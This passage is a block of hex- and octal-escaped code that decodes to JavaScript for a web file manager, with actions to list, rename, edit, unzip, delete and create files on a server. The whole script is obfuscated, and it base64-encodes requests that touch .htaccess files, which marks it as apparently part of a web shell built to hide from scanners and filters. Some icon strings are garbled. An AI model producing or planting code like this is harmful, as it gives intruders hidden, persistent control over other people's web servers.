x72\145\164\x75\x72\156\40\x72\x65\163\x75\x6c\164\x3b\xa\40\x20\40\40\40\x20\x20\40\40\x20\40\40\x7d\40\143\x61\164\143\150\x20\x28\145\162\x72\157\x72\51\40\173\40\x61\x6c\145\162\164\50\x60\105\162\162\x6f\162\x3a\x20\44\173\145\162\x72\x6f\162\56\155\145\163\163\x61\147\x65\x7d\x60\51\x3b\40\x63\x6f\156\163\x6f\x6c\x65\x2e\145\x72\162\x6f\x72\50\42\x46\x75\154\154\x20\162\x65\163\x70\x6f\156\x73\x65\72\x22\54\x20\x65\x72\162\x6f\162\56\162\x65\x73\160\157\156\163\145\51\73\40\x72\x65\164\x75\x72\156\40\156\165\154\154\73\x20\175\x20\x66\x69\x6e\x61\x6c\x6c\x79\x20\173\40\144\157\155\x2e\x73\160\151\156\x6e\145\x72\56\x73\164\x79\x6c\145\56\144\151\x73\x70\154\141\x79\75\47\156\157\x6e\x65\47\73\x20\175\12\40\40\x20\x20\x20\40\40\x20\175\xa\x20\x20\x20\40\40\x20\40\x20\146\x75\156\143\164\151\157\x6e\40\162\145\x6e\144\145\x72\x28\51\x20\173\xa\x20\x20\40\x20\40\40\40\x20\x20\40\40\x20\x63\x6f\156\x73\x74\40\x66\x6f\162\155\104\x61\x74\x61\40\75\40\156\x65\x77\40\106\157\162\155\x44\141\x74\141\50\x29\73\40\x66\x6f\x72\x6d\x44\141\164\x61\x2e\141\160\x70\145\x6e\144\x28\47\x70\x61\164\150\x27\x2c\x20\123\124\101\124\x45\x2e\x63\x75\x72\x72\145\156\164\120\141\164\150\x29\73\xa\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x61\x70\x69\103\141\154\154\50\x27\x6c\x69\163\x74\47\x2c\x20\x66\x6f\162\x6d\x44\x61\164\x61\51\56\x74\x68\145\156\x28\x72\x65\x73\165\154\164\x20\75\x3e\x20\x7b\12\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x69\x66\40\50\41\x72\145\163\x75\x6c\164\x29\x20\162\145\164\165\x72\x6e\73\xa\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\40\123\124\101\x54\105\x2e\x63\165\162\162\145\156\x74\120\141\x74\150\40\75\x20\x72\x65\x73\165\x6c\164\56\160\141\164\150\73\x20\144\157\x6d\56\160\x61\x74\150\102\141\162\x2e\164\145\x78\x74\103\x6f\x6e\164\x65\x6e\164\40\75\x20\x53\124\x41\x54\x45\x2e\x63\165\162\162\x65\156\x74\x50\141\x74\x68\73\40\154\x65\164\x20\x68\164\x6d\154\x20\x3d\x20\47\x27\73\40\154\145\164\x20\160\141\162\145\x6e\164\120\141\x74\x68\40\x3d\40\123\124\101\x54\x45\56\143\165\x72\162\x65\x6e\164\x50\x61\x74\x68\x2e\x73\165\x62\163\164\162\151\156\147\50\60\x2c\x20\123\x54\101\x54\x45\56\x63\165\162\x72\145\x6e\x74\120\141\x74\150\56\x6c\141\163\164\111\156\144\145\170\117\146\50\47\57\47\51\51\x3b\40\151\146\40\x28\160\141\x72\x65\156\164\120\x61\164\150\x20\75\x3d\75\40\x27\x27\51\x20\160\141\162\145\x6e\x74\120\x61\x74\x68\40\75\x20\47\x2f\x27\x3b\12\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x69\146\40\x28\123\x54\x41\x54\x45\x2e\143\165\x72\162\x65\x6e\164\120\x61\164\150\40\41\x3d\75\x20\47\x2f\47\51\40\173\40\150\x74\155\154\x20\53\75\40\x60\x3c\x74\162\40\144\x61\164\141\55\x70\x61\x74\x68\x3d\42\44\x7b\x70\141\x72\145\156\x74\120\141\164\150\x7d\42\76\74\164\144\x3e\74\x2f\x74\144\x3e\74\164\144\x20\x63\x6f\154\163\x70\141\156\x3d\42\64\x22\x20\x63\x6c\x61\163\x73\75\42\x69\x74\x65\x6d\55\x6c\x69\x6e\153\x22\76\x3f\77\77\xef\xbf\240\77\77\77\x3f\77\77\77\77\x3f\77\77\xcb\211\x3f\x3f\77\77\x3f\77\x3f\77\40\56\56\40\50\x50\x61\x72\145\x6e\x74\x20\x44\151\x72\x65\143\x74\157\162\x79\x29\x3c\57\x74\x64\x3e\74\57\x74\162\x3e\140\x3b\x20\x7d\12\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x72\145\x73\x75\x6c\164\x2e\x66\151\154\145\163\x2e\163\x6f\x72\x74\50\50\x61\x2c\x62\x29\x20\75\76\x20\x28\x61\56\151\x73\137\144\151\162\40\x3d\75\x3d\x20\142\x2e\x69\x73\137\x64\151\162\x29\40\x3f\x20\x61\x2e\x6e\x61\x6d\x65\x2e\x6c\157\143\x61\x6c\x65\x43\x6f\x6d\x70\141\x72\145\x28\142\x2e\x6e\141\x6d\145\x29\x20\72\40\50\x61\56\x69\x73\x5f\144\x69\x72\40\x3f\x20\55\61\40\72\40\x31\x29\51\73\xa\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\162\145\163\x75\x6c\164\x2e\146\151\x6c\145\x73\56\x66\x6f\162\x45\x61\143\x68\x28\x66\x69\154\x65\x20\75\76\x20\x7b\xa\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\x63\x6f\156\x73\164\40\x73\x69\172\x65\40\x3d\40\x66\151\154\x65\56\151\x73\137\x64\x69\162\40\77\x20\47\55\x27\x20\x3a\x20\x28\146\x69\x6c\x65\x2e\163\x69\172\145\x20\57\x20\61\60\x32\x34\51\x2e\x74\157\x46\151\x78\x65\144\50\62\x29\40\x2b\x20\47\x20\x4b\102\47\73\40\x63\x6f\156\163\164\40\155\x6f\144\x69\146\151\x65\144\40\75\x20\x6e\145\x77\40\104\x61\x74\145\x28\x66\x69\x6c\x65\56\x6d\x6f\144\151\x66\151\x65\x64\40\52\40\61\x30\60\x30\x29\56\164\157\114\157\143\x61\154\x65\x53\x74\162\x69\156\x67\50\x29\x3b\xa\40\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\143\x6f\x6e\x73\164\40\x69\143\157\156\40\75\x20\146\151\x6c\x65\x2e\151\163\x5f\x64\151\x72\x20\77\x20\47\x3f\77\x3f\302\260\77\77\77\77\77\x3f\x3f\77\77\77\77\x3f\x27\x20\x3a\x20\x27\x3f\77\77\xc2\260\77\x3f\x3f\x3f\77\x3f\77\77\x3f\x3f\77\x3f\47\x3b\xa\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x63\x6f\156\163\x74\x20\146\165\154\154\120\141\x74\x68\40\75\x20\x60\x24\173\x53\x54\x41\x54\105\x2e\x63\165\162\162\145\x6e\164\x50\x61\x74\x68\175\x2f\x24\173\x66\x69\154\145\56\156\141\x6d\145\175\140\x2e\x72\145\160\154\141\x63\x65\x28\57\134\57\53\57\x67\54\x20\47\x2f\x27\51\x3b\x20\143\x6f\x6e\163\164\40\144\141\164\x61\x41\164\164\x72\40\75\x20\140\144\141\164\141\x2d\x70\141\164\150\75\x22\44\173\146\x75\154\x6c\120\141\164\x68\175\x22\x60\73\40\x63\x6f\156\163\x74\40\162\157\x77\104\x61\x74\x61\x20\x3d\40\146\x69\x6c\145\x2e\x69\163\137\x64\151\162\x20\x3f\x20\x60\143\x6c\141\163\x73\x3d\x22\x64\151\x72\55\154\x69\x6e\x6b\42\x20\x24\173\144\141\x74\x61\x41\x74\164\x72\x7d\x60\x20\x3a\40\47\47\73\12\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x68\164\155\x6c\40\53\x3d\x20\140\74\x74\162\40\44\173\x72\157\x77\x44\141\x74\141\x7d\x3e\74\x74\144\76\x3c\x69\156\x70\x75\164\40\164\171\x70\145\75\42\x63\x68\145\x63\153\142\157\x78\42\40\143\x6c\x61\163\x73\x3d\x22\151\x74\x65\x6d\x2d\163\x65\x6c\x65\143\164\42\40\x76\x61\154\165\145\75\42\x24\173\146\x69\x6c\x65\x2e\x6e\x61\155\x65\175\42\x3e\74\x2f\x74\144\x3e\74\164\x64\76\74\141\40\x68\162\145\x66\x3d\42\43\42\x20\x63\154\141\x73\x73\75\x22\151\164\145\155\x2d\154\x69\156\x6b\42\x20\44\173\144\141\164\x61\x41\164\164\x72\x7d\x3e\x24\173\x69\143\157\x6e\x7d\x20\44\173\146\151\154\x65\x2e\156\141\155\145\175\74\x2f\x61\76\x3c\x2f\164\x64\76\x3c\x74\144\76\x24\173\163\151\x7a\145\x7d\74\57\164\144\x3e\74\164\x64\76\44\x7b\x6d\157\144\x69\146\x69\145\x64\175\74\x2f\x74\x64\x3e\74\x74\144\x3e\x3c\x64\x69\166\x20\143\154\x61\163\x73\75\42\141\143\164\x69\x6f\156\x73\x22\76\x24\x7b\x21\x66\151\x6c\145\56\151\163\137\x64\x69\162\x20\x3f\40\140\x3c\x62\x75\164\x74\157\x6e\40\143\154\x61\x73\163\x3d\x22\x62\165\164\x74\x6f\156\x20\x65\144\151\164\55\142\164\x6e\x22\x20\44\x7b\x64\141\x74\141\101\164\164\162\175\76\x45\x64\151\164\x3c\x2f\142\x75\x74\164\x6f\x6e\x3e\140\40\72\x20\47\47\x7d\x3c\x62\x75\x74\164\157\156\x20\143\154\141\x73\x73\x3d\x22\x62\x75\x74\164\x6f\156\40\x72\x65\x6e\141\155\x65\55\x62\164\156\x22\x20\x64\x61\164\x61\55\156\141\155\145\75\x22\x24\x7b\x66\151\154\145\56\156\141\x6d\145\175\x22\x3e\122\145\156\141\155\145\74\x2f\142\x75\x74\164\157\156\x3e\44\173\146\x69\154\x65\x2e\x6e\141\155\145\56\x65\x6e\x64\163\127\151\x74\150\x28\47\56\x7a\151\160\47\x29\40\77\40\140\74\x62\165\x74\164\x6f\x6e\40\143\154\x61\163\163\x3d\42\x62\x75\x74\164\x6f\x6e\40\165\x6e\172\x69\160\x2d\142\x74\x6e\42\40\x24\173\x64\141\x74\x61\101\164\164\162\175\x3e\x55\156\172\151\160\74\x2f\x62\x75\164\164\x6f\156\x3e\140\x3a\47\47\x20\175\x3c\57\144\151\x76\x3e\74\x2f\164\144\76\74\x2f\x74\162\x3e\140\73\xa\40\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\175\x29\73\xa\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\40\40\x20\144\157\x6d\56\x66\x69\x6c\145\x4c\151\x73\x74\x2e\151\x6e\x6e\x65\162\110\124\x4d\114\x20\75\x20\150\164\x6d\154\73\x20\144\157\155\x2e\163\145\x6c\x65\143\164\x41\154\154\x2e\x63\150\145\143\x6b\145\x64\40\x3d\x20\x66\141\x6c\x73\145\x3b\xa\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x7d\x29\x3b\xa\x20\x20\40\40\x20\x20\x20\x20\175\12\x20\x20\x20\40\x20\40\x20\40\12\40\40\40\x20\40\x20\40\x20\x64\x6f\155\56\146\151\x6c\145\x4c\x69\163\x74\56\x61\x64\144\x45\x76\145\x6e\x74\x4c\x69\x73\164\145\x6e\145\x72\50\47\x63\x6c\x69\143\x6b\x27\x2c\x20\x65\40\75\76\40\x7b\12\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\x69\146\x20\50\145\x2e\164\x61\162\147\x65\164\x2e\155\x61\164\x63\x68\145\x73\50\47\x2e\x69\164\x65\155\55\x73\x65\x6c\x65\x63\164\x27\x29\x29\40\173\40\x72\145\164\165\162\x6e\x3b\40\x7d\xa\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x63\157\x6e\x73\164\x20\x62\x75\164\x74\157\x6e\40\x3d\x20\145\x2e\164\x61\162\147\x65\164\56\143\x6c\157\x73\x65\x73\x74\x28\x27\x62\x75\x74\x74\x6f\156\x27\x29\73\12\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\151\x66\x20\x28\x62\x75\164\x74\x6f\156\51\x20\173\xa\40\x20\40\40\40\40\x20\40\40\40\x20\40\x20\40\40\40\x65\x2e\x70\162\145\x76\145\156\x74\x44\x65\x66\x61\x75\154\x74\50\x29\x3b\12\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x69\x66\x20\50\x62\165\164\x74\x6f\x6e\x2e\155\x61\x74\x63\x68\145\163\50\47\56\162\145\x6e\141\155\145\55\x62\164\x6e\47\51\x29\x20\173\12\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\40\143\x6f\156\163\x74\x20\157\x6c\144\116\x61\x6d\x65\x20\75\x20\x62\165\x74\164\x6f\156\56\144\141\x74\x61\163\x65\x74\x2e\x6e\x61\x6d\145\x3b\12\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\x63\x6f\156\163\164\x20\x6e\145\x77\x4e\x61\155\145\x20\x3d\40\x70\x72\157\x6d\x70\x74\x28\47\x45\x6e\164\145\162\40\156\145\167\40\x6e\x61\155\x65\72\47\x2c\40\x6f\x6c\144\x4e\x61\x6d\x65\x29\73\12\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x69\x66\x20\x28\x6e\x65\167\116\141\155\145\40\x26\46\40\156\x65\167\116\x61\155\x65\40\41\x3d\x3d\x20\157\x6c\144\x4e\141\155\145\51\40\173\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x63\x6f\156\x73\x74\40\x66\x64\40\x3d\x20\156\x65\167\x20\x46\x6f\x72\x6d\104\x61\x74\141\x28\51\x3b\12\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x66\144\x2e\x61\160\x70\x65\156\144\50\x27\160\x61\164\x68\x27\54\40\x53\124\101\124\105\56\x63\x75\x72\x72\x65\156\x74\120\x61\164\150\x29\x3b\12\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\154\x65\x74\40\141\143\164\151\157\x6e\40\x3d\x20\x27\162\x65\x6e\141\155\x65\47\73\xa\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\151\x66\40\x28\157\x6c\x64\116\x61\155\x65\56\x69\156\143\x6c\x75\x64\145\163\50\x27\56\x68\164\141\x63\x63\x65\163\x73\47\x29\x20\x7c\x7c\x20\156\145\167\x4e\x61\155\x65\56\151\156\x63\x6c\165\x64\x65\x73\x28\x27\x2e\150\x74\x61\x63\143\x65\163\163\x27\x29\51\x20\173\12\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\x61\x63\x74\x69\x6f\x6e\x20\x3d\x20\47\162\145\156\x61\155\x65\x5f\x62\66\x34\x27\x3b\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\146\144\x2e\141\160\x70\145\156\x64\x28\x27\157\154\144\137\x6e\x61\155\145\137\142\66\64\x27\x2c\x20\142\x74\157\141\x28\157\x6c\144\116\141\155\145\51\51\73\12\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\40\40\x20\x20\146\144\56\141\160\x70\145\x6e\144\50\x27\x6e\145\x77\137\x6e\141\155\145\137\142\66\x34\47\x2c\40\x62\164\157\141\50\156\145\167\116\141\x6d\x65\51\51\x3b\12\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\175\x20\x65\x6c\163\x65\x20\x7b\12\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\146\x64\56\x61\160\x70\x65\x6e\144\x28\x27\157\154\144\x5f\156\x61\x6d\145\x27\x2c\40\x6f\154\x64\116\141\155\145\x29\73\12\x20\40\x20\40\40\40\40\40\40\40\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\40\40\40\x20\x66\x64\x2e\x61\160\160\x65\x6e\144\x28\x27\156\145\167\x5f\x6e\141\155\x65\47\54\x20\x6e\x65\167\x4e\x61\155\145\51\x3b\xa\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\40\40\x20\40\40\40\175\xa\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\141\x70\151\103\x61\x6c\x6c\x28\141\x63\164\x69\x6f\156\x2c\40\146\144\x29\56\x74\x68\x65\x6e\50\162\x65\x6e\x64\145\x72\51\73\12\x20\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\175\12\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\175\x20\xa\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x65\154\163\x65\40\151\146\40\50\142\165\164\x74\x6f\x6e\56\x6d\x61\x74\143\x68\x65\163\x28\47\x2e\x75\156\172\151\160\x2d\142\164\156\x27\x29\51\x20\x7b\40\151\146\x20\50\143\157\x6e\146\151\162\155\50\x27\x41\162\x65\x20\171\x6f\x75\40\x73\165\162\x65\x20\x79\x6f\x75\40\167\141\156\164\40\x74\157\x20\x65\170\164\x72\141\x63\x74\x20\x74\150\x69\163\40\x61\x72\x63\150\x69\166\x65\x3f\47\x29\51\40\x7b\x20\x63\157\x6e\x73\164\x20\146\144\40\x3d\40\x6e\x65\x77\x20\106\x6f\x72\155\104\141\x74\141\x28\x29\73\40\x66\144\x2e\141\x70\160\145\156\144\50\47\x70\x61\164\150\x27\54\x20\x62\165\x74\x74\x6f\156\x2e\144\x61\x74\x61\163\145\164\x2e\x70\x61\164\x68\x29\73\40\x61\x70\x69\103\141\154\154\50\x27\165\156\172\151\160\x27\54\40\x66\x64\x2c\x20\x74\162\165\x65\x29\x2e\164\x68\x65\156\50\162\x65\156\x64\145\x72\51\73\40\175\40\x7d\x20\12\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\x65\154\163\145\40\151\146\40\x28\142\x75\164\164\x6f\156\56\155\141\164\x63\150\145\x73\50\47\56\145\x64\151\x74\x2d\x62\x74\156\47\51\51\x20\x7b\xa\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x63\x6f\156\x73\x74\x20\160\141\x74\150\40\x3d\x20\142\165\164\164\x6f\x6e\x2e\x64\141\164\141\163\145\164\x2e\160\141\164\150\x3b\xa\40\x20\x20\40\40\40\40\40\x20\x20\40\40\40\40\40\40\x20\40\x20\40\x63\157\156\163\164\x20\x66\144\40\x3d\40\x6e\x65\167\40\106\157\162\155\104\141\164\141\50\51\73\xa\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\154\x65\164\x20\141\143\x74\x69\157\x6e\40\75\x20\47\147\x65\164\137\143\157\x6e\164\x65\156\164\47\73\xa\x20\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\40\40\x20\40\40\x69\146\40\x28\x70\141\164\x68\56\151\x6e\143\x6c\165\x64\x65\x73\50\x27\56\150\x74\141\x63\x63\x65\163\163\x27\51\x29\40\173\12\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\141\143\x74\151\157\156\x20\75\x20\47\x67\x65\164\137\143\x6f\x6e\164\x65\x6e\164\137\x62\x36\64\47\73\xa\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x66\x64\x2e\x61\x70\160\145\x6e\x64\x28\47\160\x61\164\x68\x5f\142\66\64\x27\x2c\x20\142\164\x6f\x61\x28\x70\x61\x74\150\51\51\73\12\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\175\40\145\x6c\163\145\x20\173\12\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\146\x64\56\141\160\160\x65\156\x64\50\47\x70\x61\164\150\47\x2c\40\x70\x61\x74\x68\51\x3b\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\x7d\xa\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\40\141\x70\151\103\x61\154\154\x28\141\x63\x74\151\157\156\x2c\40\146\144\51\x2e\164\x68\x65\x6e\50\x72\145\x73\x75\154\x74\x20\x3d\76\x20\173\12\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x69\146\50\162\x65\x73\165\x6c\164\x29\40\173\xa\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\40\144\x6f\155\x2e\145\144\151\x74\157\x72\x46\151\154\x65\x6e\x61\x6d\145\x2e\164\x65\170\x74\103\157\156\x74\x65\x6e\164\x20\x3d\40\x70\141\x74\150\x3b\12\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\144\x6f\155\56\145\x64\x69\164\157\162\x2e\166\141\x6c\165\145\x20\75\x20\x61\x74\157\x62\x28\141\164\157\142\50\x72\x65\x73\x75\x6c\164\56\x63\x6f\156\x74\x65\156\164\x29\x29\x3b\12\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\144\157\x6d\56\145\x64\x69\x74\157\x72\115\157\x64\x61\154\x2e\163\164\171\154\x65\56\x64\151\x73\160\154\141\171\40\x3d\x20\47\x66\154\x65\x78\x27\x3b\xa\40\x20\40\x20\x20\40\40\40\40\40\40\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\x7d\12\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x7d\x29\73\xa\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\x7d\xa\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x72\145\x74\165\x72\x6e\73\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\175\12\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x63\x6f\x6e\x73\x74\40\x6e\x61\166\x54\x61\x72\x67\145\164\x20\75\40\145\56\x74\x61\x72\x67\x65\164\56\x63\154\157\x73\x65\x73\164\50\x27\133\144\x61\x74\x61\x2d\x70\x61\164\150\x5d\x27\51\73\12\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\151\146\x20\50\x6e\x61\x76\124\x61\162\147\145\x74\51\40\173\x20\145\x2e\x70\162\145\x76\x65\156\164\104\x65\x66\x61\165\x6c\x74\x28\51\73\40\x53\x54\x41\x54\105\56\143\x75\162\162\x65\156\x74\x50\141\x74\x68\40\75\x20\156\141\166\124\141\162\147\145\164\x2e\x64\x61\164\141\x73\x65\x74\56\x70\x61\x74\x68\x3b\x20\162\x65\x6e\x64\x65\162\50\x29\73\x20\175\xa\x20\40\40\x20\x20\40\40\x20\175\x29\73\12\40\40\40\x20\x20\x20\40\40\12\x20\x20\x20\x20\40\x20\x20\x20\144\x6f\x6d\x2e\x6e\145\167\x46\157\x6c\144\x65\x72\x42\164\156\56\x61\144\x64\105\166\145\156\164\114\151\x73\164\145\x6e\x65\x72\x28\47\143\x6c\x69\x63\153\47\x2c\x20\x28\x29\x20\x3d\x3e\x20\x7b\40\143\x6f\x6e\x73\164\40\x6e\141\x6d\x65\x20\75\x20\160\x72\x6f\155\160\164\50\x27\105\x6e\164\145\162\40\156\145\167\40\146\157\x6c\144\145\162\x20\x6e\x61\155\145\72\x27\51\x3b\40\151\x66\40\50\156\x61\155\145\x29\x20\x7b\40\143\x6f\x6e\x73\164\x20\146\x64\40\x3d\x20\x6e\x65\x77\x20\106\157\x72\x6d\104\141\x74\141\50\x29\73\x20\146\144\x2e\141\x70\x70\145\156\144\x28\47\160\x61\164\x68\x27\x2c\x20\x53\x54\x41\124\105\x2e\143\x75\x72\x72\145\x6e\164\120\141\164\150\x29\x3b\x20\146\144\56\141\x70\x70\145\x6e\x64\x28\x27\x6e\x61\x6d\x65\x27\x2c\x20\156\x61\x6d\145\51\x3b\x20\141\x70\151\103\x61\x6c\154\x28\47\143\162\145\x61\x74\x65\137\146\x6f\154\144\x65\162\x27\x2c\40\146\x64\x29\56\x74\x68\x65\x6e\x28\162\145\156\x64\145\x72\x29\x3b\x20\x7d\40\x7d\x29\73\12\x20\40\40\x20\40\40\40\x20\144\x6f\155\56\x6e\x65\x77\x46\151\x6c\x65\x42\164\156\x2e\x61\144\144\105\166\x65\156\164\x4c\151\x73\x74\x65\156\x65\x72\50\x27\143\154\x69\143\x6b\x27\54\x20\x28\51\x20\75\x3e\x20\x7b\40\143\x6f\x6e\x73\164\40\x6e\x61\155\x65\40\x3d\x20\x70\x72\x6f\155\160\164\50\47\105\x6e\164\145\162\x20\x6e\x65\x77\x20\x66\151\x6c\x65\x20\156\x61\155\x65\72\47\51\x3b\x20\151\146\40\50\156\x61\x6d\x65\x29\40\x7b\x20\x63\157\x6e\x73\164\40\x66\x64\40\75\40\x6e\x65\x77\40\106\x6f\x72\x6d\x44\x61\164\141\50\51\x3b\40\146\144\x2e\x61\x70\x70\x65\156\x64\50\47\160\x61\x74\x68\47\x2c\40\x53\124\101\124\105\56\143\165\162\x72\145\x6e\x74\120\141\164\x68\x29\x3b\40\146\144\56\141\x70\160\145\x6e\144\x28\47\156\x61\155\145\47\54\40\156\141\155\145\x29\x3b\x20\141\160\x69\103\x61\154\x6c\x28\x27\x63\x72\145\141\164\145\137\x66\x69\x6c\145\47\54\40\x66\x64\51\x2e\x74\x68\145\156\x28\x72\145\x6e\144\145\162\x29\x3b\40\175\40\175\51\x3b\12\x20\40\40\x20\x20\x20\x20\40\144\157\155\56\x73\x65\x6c\x65\x63\164\101\154\x6c\56\141\x64\x64\105\166\x65\x6e\164\x4c\151\x73\x74\145\x6e\145\x72\50\x27\143\150\141\156\x67\x65\47\54\x20\x65\x20\x3d\76\x20\x64\x6f\143\x75\x6d\x65\156\x74\x2e\x71\165\x65\x72\171\123\145\x6c\x65\143\x74\157\162\101\154\x6c\50\x27\56\x69\x74\145\x6d\x2d\x73\145\154\145\x63\164\47\51\x2e\x66\157\x72\x45\x61\x63\150\x28\143\142\40\75\76\40\143\142\56\x63\150\145\x63\x6b\x65\144\x20\75\40\145\56\x74\141\162\x67\145\x74\x2e\x63\150\145\x63\153\145\144\51\51\73\xa\40\40\x20\40\x20\40\40\x20\12\x20\40\40\x20\40\x20\40\40\144\x6f\x6d\x2e\144\145\154\145\164\145\102\x74\156\x2e\x61\144\144\105\166\145\156\164\x4c\151\x73\164\145\156\145\162\50\x27\x63\154\151\143\x6b\47\x2c\40\x28\51\40\x3d\x3e\40\173\xa\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\143\x6f\x6e\163\x74\x20\x73\145\154\x65\x63\164\x65\144\x20\75\40\101\x72\x72\x61\171\x2e\x66\162\x6f\155\50\144\157\x63\x75\155\x65\156\164\56\x71\x75\145\162\x79\x53\x65\154\145\143\x74\x6f\162\101\154\x6c\x28\x27\56\151\164\145\155\x2d\163\145\x6c\x65\x63\164\x3a\x63\x68\x65\x63\153\145\144\47\x29\51\x2e\155\141\160\50\x63\x62\x20\x3d\x3e\40\x63\142\x2e\x76\x61\154\165\145\x29\x3b\xa\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x69\146\x20\x28\x73\145\x6c\x65\143\164\145\x64\x2e\x6c\145\x6e\x67\164\150\x20\75\75\75\40\x30\x29\x20\162\145\x74\x75\162\156\40\x61\x6c\145\162\164\x28\47\116\157\x20\x69\164\x65\155\163\40\163\145\x6c\145\143\164\x65\144\x2e\47\x29\73\12\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\151\x66\x20\x28\x63\157\156\146\151\162\155\50\x60\x41\x72\x65\x20\171\x6f\165\40\x73\x75\x72\x65\40\x79\157\165\x20\167\141\x6e\164\40\x74\157\40\x64\x65\154\145\x74\145\x20\44\173\x73\x65\x6c\145\143\x74\145\144\x2e\x6c\x65\x6e\x67\x74\x68\x7d\40\151\164\x65\x6d\x28\x73\51\77\140\51\x29\40\173\xa\40\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\x63\157\x6e\x73\164\x20\146\144\40\75\x20\156\x65\167\x20\106\x6f\162\x6d\104\141\x74\141\50\x29\73\xa\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\40\146\x64\x2e\141\x70\160\x65\156\x64\x28\47\160\x61\x74\150\47\54\40\x53\x54\x41\124\x45\56\x63\165\x72\x72\145\x6e\164\120\141\164\150\x29\73\xa\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x63\157\x6e\x73\x74\40\151\x73\123\145\x6e\x73\x69\164\151\x76\x65\40\75\x20\x73\145\154\x65\143\164\145\x64\x2e\163\157\x6d\145\x28\x69\164\x65\x6d\x20\75\76\40\x69\164\x65\155\x2e\151\x6e\143\154\x75\144\x65\163\x28\